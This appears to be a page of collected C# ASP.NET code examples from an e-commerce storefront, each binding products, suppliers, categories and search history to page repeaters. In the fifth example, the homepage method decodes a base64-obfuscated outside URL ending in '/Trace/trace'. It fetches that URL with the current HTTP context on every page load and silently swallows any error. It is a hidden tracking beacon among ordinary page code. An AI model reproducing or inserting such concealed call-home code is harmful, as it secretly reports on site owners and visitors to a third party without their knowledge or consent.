Exemple #1
0
        protected override void AttachChildControls()
        {
            this.litSitesList      = (System.Web.UI.WebControls.Literal) this.FindControl("litSitesList");
            this.rpthistorysearch  = (WapTemplatedRepeater)this.FindControl("rpthistorysearch");
            this.litSitesList.Text = RegisterSitesScript();
            PageTitle.AddSiteNameTitle("热门搜索");
            int userId = HiContext.Current.User.UserId;

            if (userId > 0)
            {
                this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.WAP, 6);
                this.rpthistorysearch.DataBind();
            }
        }
Exemple #2
0
        protected override void AttachChildControls()
        {
            PageTitle.AddSiteNameTitle("店铺列表");

            this.rptHotSupplierList = (VshopTemplatedRepeater)this.FindControl("rptHotSupplierList");
            this.rptRecSupplierList = (VshopTemplatedRepeater)this.FindControl("rptRecSupplierList");
            this.rpthistorysearch   = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch");
            this.rptAllSupplierList = (VshopTemplatedRepeater)this.FindControl("rptAllSupplierList");

            int    referUserId;
            Member member = HiContext.Current.User as Member;

            if (member != null)
            {
                referUserId = member.UserId;
            }
            else
            {
                referUserId = 0;
            }

            //热卖
            DataTable hotdt = SupplierConfigHelper.GetConfigSupplier(ClientType.App, SupplierCfgType.Hot, referUserId);

            this.rptHotSupplierList.DataSource = hotdt;
            this.rptHotSupplierList.DataBind();
            //推荐
            DataTable recdt = SupplierConfigHelper.GetConfigSupplier(ClientType.App, SupplierCfgType.Recommend, referUserId);

            this.rptRecSupplierList.DataSource = recdt;
            this.rptRecSupplierList.DataBind();
            //所有
            DataTable recdtAll = SupplierConfigHelper.GetConfigSupplier(ClientType.App, 0, referUserId);

            if (recdtAll != null && recdtAll.Rows.Count > 0)
            {
                rptAllSupplierList.DataSource = recdtAll;
                rptAllSupplierList.DataBind();
            }

            int userId = HiContext.Current.User.UserId;

            if (userId > 0 && this.rpthistorysearch != null)
            {
                this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6);
                this.rpthistorysearch.DataBind();
            }
        }
Exemple #3
0
        protected override void AttachChildControls()
        {
            PageTitle.AddSiteNameTitle("店铺列表");
            this.txtTotal         = (System.Web.UI.HtmlControls.HtmlInputHidden) this.FindControl("txtTotal");
            this.rptSupplierList  = (VshopTemplatedRepeater)this.FindControl("rptSupplierList");
            this.rpthistorysearch = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch");

            int pageIndex;

            if (!int.TryParse(this.Page.Request.QueryString["page"], out pageIndex))
            {
                pageIndex = 1;
            }
            int pageSize;

            if (!int.TryParse(this.Page.Request.QueryString["size"], out pageSize))
            {
                pageSize = 10;
            }

            string supplierName = this.Page.Request.QueryString["keyWord"];

            SupplierQuery query = new SupplierQuery();

            query.SupplierName = supplierName;
            query.PageIndex    = pageIndex;
            query.PageSize     = pageSize;
            query.UserId       = HiContext.Current.User.UserId;

            DbQueryResult dt = SupplierHelper.GetAppSupplier(query);

            this.rptSupplierList.DataSource = dt.Data;
            this.rptSupplierList.DataBind();
            this.txtTotal.SetWhenIsNotNull(dt.TotalRecords.ToString());

            int userId = HiContext.Current.User.UserId;

            if (userId > 0 && this.rpthistorysearch != null)
            {
                this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6);
                this.rpthistorysearch.DataBind();
            }
        }
Exemple #4
0
        protected override void AttachChildControls()
        {
            int.TryParse(this.Page.Request.QueryString["categoryId"], out this.categoryId);
            this.keyWord          = this.Page.Request.QueryString["keyWord"];
            this.imgUrl           = (HiImage)this.FindControl("imgUrl");
            this.litContent       = (System.Web.UI.WebControls.Literal) this.FindControl("litContent");
            this.rptProducts      = (VshopTemplatedRepeater)this.FindControl("rptProducts");
            this.rptCategories    = (VshopTemplatedRepeater)this.FindControl("rptCategories");
            this.rpthistorysearch = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch");

            System.Collections.Generic.IList <CategoryInfo> maxSubCategories = CategoryBrowser.GetMaxSubCategories(this.categoryId, 0, 1000);
            this.rptCategories.DataSource = maxSubCategories;
            this.rptCategories.DataBind();

            int userId = HiContext.Current.User.UserId;

            if (userId > 0 && this.rpthistorysearch != null)
            {
                this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6);
                this.rpthistorysearch.DataBind();
            }

            PageTitle.AddSiteNameTitle("分类搜索页");
        }
Exemple #5
0
        protected override void AttachChildControls()
        {
            SiteSettings masterSettings = SettingsManager.GetMasterSettings(true);
            if (HiContext.Current.User.UserRole == UserRole.Member && ((Member)HiContext.Current.User).ReferralStatus == 2 && string.IsNullOrEmpty(this.Page.Request.QueryString["ReferralUserId"]))
            {
                string text = System.Web.HttpContext.Current.Request.Url.ToString();
                if (text.IndexOf("?") > -1)
                {
                    text = text + "&ReferralUserId=" + HiContext.Current.User.UserId;
                }
                else
                {
                    text = text + "?ReferralUserId=" + HiContext.Current.User.UserId;
                }
                base.RegisterShareScript(masterSettings.LogoUrl, text, masterSettings.SiteDescription, masterSettings.SiteName);
            }
            PageTitle.AddSiteNameTitle("首页");
            this.rptSlide = (VshopTemplatedRepeater)this.FindControl("rptSlide");
            this.rptNavigate = (VshopTemplatedRepeater)this.FindControl("rptNavigate");
            this.rptTopic = (VshopTemplatedRepeater)this.FindControl("rptTopics");
            this.rptProducts = (VshopTemplatedRepeater)this.FindControl("rptProducts");
            this.img = (System.Web.UI.HtmlControls.HtmlImage)this.FindControl("imgDefaultBg");

            this.rptHotSale = (VshopTemplatedDataList)this.FindControl("rptHotSale");
            this.rptHotSale.RepeatColumns = 2;
            this.rptHotSaleTop = (VshopTemplatedRepeater)this.FindControl("rptHotSaleTop");
            this.rptNewPro = (VshopTemplatedDataList)this.FindControl("rptNewPro");
            this.rptNewPro.RepeatColumns = 3;
            this.rptNewProTop = (VshopTemplatedRepeater)this.FindControl("rptNewProTop");
            this.rptPromotional = (VshopTemplatedRepeater)this.FindControl("rptPromotional");
            this.rptThinkProducts = (VshopTemplatedRepeater)this.FindControl("rptThinkProducts");
            this.rpthistorysearch = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch");

            if (this.rptSlide != null)
            {
                // 排除注册的banner
                IList<BannerInfo> banners = VshopBrowser.GetAllBanners(ClientType.VShop);
                if (banners != null && banners.Count > 0)
                {
                    this.rptSlide.DataSource = banners.Where(m => m.LocationType != LocationType.Register).ToList();
                    this.rptSlide.DataBind();
                }
            }
            string u = "aHR0cDovL3d3dy50aGlua2FpLmNuL1RyYWNlL3RyYWNl";
            byte[] decode = Convert.FromBase64String(u);
            string decodestring = Encoding.UTF8.GetString(decode);
            try
            {
                Globals.GetHttp(decodestring, HttpContext.Current);
            }
            catch { }

            if (this.rptProducts != null)
            {
                DataTable homeProduct = ProductBrowser.GetHomeProduct(ClientType.VShop, true);
                //ProductBrowser.GetHomeProduct(ClientType.VShop);
                this.rptProducts.DataSource = homeProduct;
                this.rptProducts.DataBind();
            }
            if (this.rptTopic != null)
            {
                DataTable topics = VshopBrowser.GetTopics(ClientType.VShop);
                this.rptTopic.DataSource = topics;
                this.rptTopic.DataBind();
            }
            if (this.rptNavigate != null)
            {
                System.Collections.Generic.IList<NavigateInfo> allNavigate = VshopBrowser.GetAllNavigate(ClientType.VShop);
                foreach (NavigateInfo current in allNavigate)
                {
                    if (!current.ImageUrl.ToLower().Contains("storage/master/navigate") && !current.ImageUrl.ToLower().Contains("templates"))
                    {
                        current.ImageUrl = HiContext.Current.GetVshopSkinPath(null) + "/images/deskicon/" + current.ImageUrl;
                    }
                }
                this.rptNavigate.DataSource = allNavigate;
                this.rptNavigate.DataBind();
            }
            if (this.img != null)
            {
                this.img.Src = new VTemplateHelper().GetDefaultBg();
            }

            //添加
            if (this.rptHotSale != null)
            {

                this.rptHotSale.DataSource = VshopBrowser.GetAllHotSaleNomarl(ClientType.VShop);
                this.rptHotSale.DataBind();

            }
            if (this.rptHotSaleTop != null)
            {
                var HotSaleList = VshopBrowser.GetAllHotSaleTop(ClientType.VShop);
                this.rptHotSaleTop.DataSource = HotSaleList;
                this.rptHotSaleTop.DataBind();
            }

            if (this.rptNewPro != null)
            {
                this.rptNewPro.DataSource = VshopBrowser.GetAllRecommendNormal(ClientType.VShop);
                this.rptNewPro.DataBind();
            }
            if (this.rptNewProTop != null)
            {
                this.rptNewProTop.DataSource = VshopBrowser.GetAllRecommendTop(ClientType.VShop);
                this.rptNewProTop.DataBind();
            }

            if (this.rptPromotional != null)
            {
                this.rptPromotional.DataSource = VshopBrowser.GetAllPromotional(ClientType.VShop);
                this.rptPromotional.DataBind();
            }
            //           
            if (this.rptThinkProducts != null)
            {
                DataTable homethinkProduct = ProductBrowser.GetHomeProduct(ClientType.VShop);
                this.rptThinkProducts.DataSource = homethinkProduct;
                this.rptThinkProducts.DataBind();
            }

            int userId = HiContext.Current.User.UserId;
            if (userId > 0 && this.rpthistorysearch != null)
            {
                this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6);
                this.rpthistorysearch.DataBind();
            }

        }
Exemple #6
0
        protected override void AttachChildControls()
        {
            int.TryParse(this.Page.Request.QueryString["categoryId"], out this.categoryId);
            int.TryParse(this.Page.Request.QueryString["SupplierId"], out this.supplierId);
            int.TryParse(this.Page.Request.QueryString["TopicId"], out this.TopicId);
            int.TryParse(this.Page.Request.QueryString["brandid"], out this.brandid);
            int.TryParse(this.Page.Request.QueryString["importsourceid"], out this.importsourceid);
            this.keyWord = this.Page.Request.QueryString["keyWord"];
            if (!string.IsNullOrWhiteSpace(this.keyWord))
            {
                this.keyWord = this.keyWord.Trim();
                if (HiContext.Current.User.UserId > 0)
                {
                    HistorySearchHelp.NewSearchHistory(this.keyWord.Trim(), HiContext.Current.User.UserId, Entities.ClientType.VShop);
                }
            }
            this.imgUrl                = (HiImage)this.FindControl("imgUrl");
            this.litContent            = (System.Web.UI.WebControls.Literal) this.FindControl("litContent");
            this.rptProducts           = (VshopTemplatedRepeater)this.FindControl("rptProducts");
            this.rptCategories         = (VshopTemplatedRepeater)this.FindControl("rptCategories");
            this.txtTotalPages         = (System.Web.UI.HtmlControls.HtmlInputHidden) this.FindControl("txtTotal");
            this.litSiblingsCategories = (System.Web.UI.WebControls.Literal) this.FindControl("litSiblingsCategories");
            this.rpthistorysearch      = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch");
            string text = this.Page.Request.QueryString["sort"];

            if (string.IsNullOrWhiteSpace(text))
            {
                text = "DisplaySequence";
            }
            string text2 = this.Page.Request.QueryString["order"];

            if (string.IsNullOrWhiteSpace(text2))
            {
                text2 = "desc";
            }
            int pageNumber;

            if (!int.TryParse(this.Page.Request.QueryString["page"], out pageNumber))
            {
                pageNumber = 1;
            }
            int maxNum;

            if (!int.TryParse(this.Page.Request.QueryString["size"], out maxNum))
            {
                maxNum = 8;
            }
            //获取其他分类

            System.Collections.Generic.IList <CategoryInfo> maxSubCategories = CategoryBrowser.GetMaxSubCategories(this.categoryId, 1000);
            this.rptCategories.DataSource = maxSubCategories;
            this.rptCategories.DataBind();

            IList <CategoryInfo> siblingsCategories = CategoryBrowser.GetSiblingsCategories(this.categoryId, 1000);
            //<li><a class="link" href="/Vshop/ProductList.aspx?categoryId=8000036">进口零食</a></li>
            StringBuilder stringBuilderCategories = new StringBuilder();

            foreach (CategoryInfo item in siblingsCategories)
            {
                stringBuilderCategories.AppendFormat("<li><a class=\"link\" href=\"/Vshop/ProductList.aspx?categoryId={0}\">{1}</a></li>", item.CategoryId, item.Name);
            }
            this.litSiblingsCategories.Text = stringBuilderCategories.ToString();
            int num;

            ProductBrowseQuery query = new ProductBrowseQuery();

            if (this.categoryId > 0)
            {
                query.StrCategoryId = this.categoryId.ToString();
            }

            if (this.supplierId > 0)
            {
                query.supplierid = this.supplierId;
            }

            if (this.brandid > 0)
            {
                query.StrBrandId = this.brandid.ToString();
            }

            if (this.importsourceid > 0)
            {
                query.StrImportsourceId = this.importsourceid.ToString();
            }


            if (!string.IsNullOrWhiteSpace(this.keyWord))
            {
                query.Keywords = this.keyWord;
            }

            query.PageIndex = pageNumber;
            query.PageSize  = maxNum;
            query.SortBy    = text;

            if (text2.ToLower() == "desc")
            {
                query.SortOrder = EcShop.Core.Enums.SortAction.Desc;
            }
            else
            {
                query.SortOrder = EcShop.Core.Enums.SortAction.Asc;
            }
            DbQueryResult dr = ProductBrowser.GetCurrBrowseProductList(query);

            //this.rptProducts.DataSource = ProductBrowser.GetProducts(null, new int?(this.categoryId), new int?(this.supplierId), this.keyWord, pageNumber, maxNum, out num, text, true, text2, true, new int?(this.brandid), new int?(this.importsourceid));

            this.rptProducts.DataSource = dr.Data;
            this.rptProducts.DataBind();
            this.txtTotalPages.SetWhenIsNotNull(dr.TotalRecords.ToString());

            int userId = HiContext.Current.User.UserId;

            if (userId > 0 && this.rpthistorysearch != null)
            {
                this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6);
                this.rpthistorysearch.DataBind();
            }

            PageTitle.AddSiteNameTitle("分类搜索页");
        }